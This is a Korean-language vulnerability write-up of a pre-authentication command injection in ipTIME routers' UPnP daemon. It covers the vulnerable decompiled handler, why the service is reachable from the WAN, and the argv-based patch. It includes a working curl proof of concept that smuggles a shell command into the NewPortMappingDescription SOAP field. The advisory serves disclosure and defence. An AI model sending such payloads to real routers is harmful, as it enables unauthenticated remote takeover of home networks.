[하루한줄] KVE-2026-XXXX: ipTIME 공유기의 OS Command Injection으로 인한 Pre-Auth RCE 취약점

URL

Target

  • 제품: 다수의 ipTIME 제품군 (AX2004M, AX2004T 등)
  • 바이너리: /bin/upnpd
  • 영향 버전: <= 15.30.8
  • 패치 버전: 15.31.6

Explain

취약점은 upnpd 의 SOAP AddPortMapping 핸들러(handle_AddPortMapping, 0x0040649c) 안에 있다.

SOAP XML 에서 추출한 NewProtocolNewPortMappingDescription 값이 snprintf()%s 자리에 sanitize 없이 들어가고, 조립된 문자열이 그대로 system() 으로 실행된다.

// handle_AddPortMapping (0x0040649c)
proto = get_soap_arg(auStack_78, "NewProtocol");               // 사용자 입력 1
desc  = get_soap_arg(auStack_78, "NewPortMappingDescription"); // 사용자 입력 2
...
snprintf(cmd, 0x100,
         "notify upnp/relay/add '{proto:%Q,port:%s,desc:%Q}' '%s' %hu '%s'",
         proto, portnum, desc);
system(cmd);

ipTIME 에서 UPnP 기능은 default 활성화 기능이다. 또한 UPnP 가 켜져 있으면 plugin_upnp.so 가 WAN iptables 에 input_wan1:ACCEPT 규칙을 삽입하고, 탑재된 miniupnpd.confsecure_mode=noallow 0-65535 0.0.0.0/0 0-65535 로 설정되어 있어, LAN 뿐 아니라 WAN 에서도 비인증으로 도달 가능하다.

PoC

TARGET=ip ; PORT=port
curl -s -X POST "<http://$TARGET>:$PORT/ctl/IPConn" \\
  -H 'Content-Type: text/xml; charset="utf-8"' \\
  -H 'SOAPAction: "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping"' \\
  -d '<?xml version="1.0"?>
<s:Envelope xmlns:s="<http://schemas.xmlsoap.org/soap/envelope/>">
<s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1">
  <NewRemoteHost/><NewExternalPort>31337</NewExternalPort>
  <NewProtocol>TCP</NewProtocol>
  <NewInternalPort>31337</NewInternalPort>
  <NewInternalClient>192.168.0.100</NewInternalClient>
  <NewEnabled>1</NewEnabled>
  <NewPortMappingDescription>'"'"';id>/tmp/pwned;'"'"'</NewPortMappingDescription>
  <NewLeaseDuration>0</NewLeaseDuration>
</u:AddPortMapping></s:Body></s:Envelope>'

Patch

15.31.6 에서는 handle_AddPortMapping 이 shell 명령을 문자열로 만들지 않는다. run_notify_argv (0x00405644) 가 fork()execvp(argv)notify 를 호출하고, 공격자 입력은 argv 인자로 전달되므로 shell 을 거치지 않는다.

// run_notify_argv (0x00405644): fork + execvp
argv = {
    "notify",
    "upnp/relay/add",
    "{proto:%Q,port:%s,desc:%Q}",
    proto,        // NewProtocol
    desc,         // NewPortMappingDescription
    portstr,
    NULL,
};
execvp("notify", argv);

이후 경로(notify -> notify_service_v -> servd-forward JSON IPC -> plugin_upnp -> _run_cmd -> vfork+execvp("upnpc", argv)) 역시 전부 argv 기반으로 바뀌어서, 기존의 system(shell_string) 호출 지점이 사라졌다.

Reference



본 글은 CC BY-SA 4.0 라이선스로 배포됩니다. 공유 또는 변경 시 반드시 출처를 남겨주시기 바랍니다.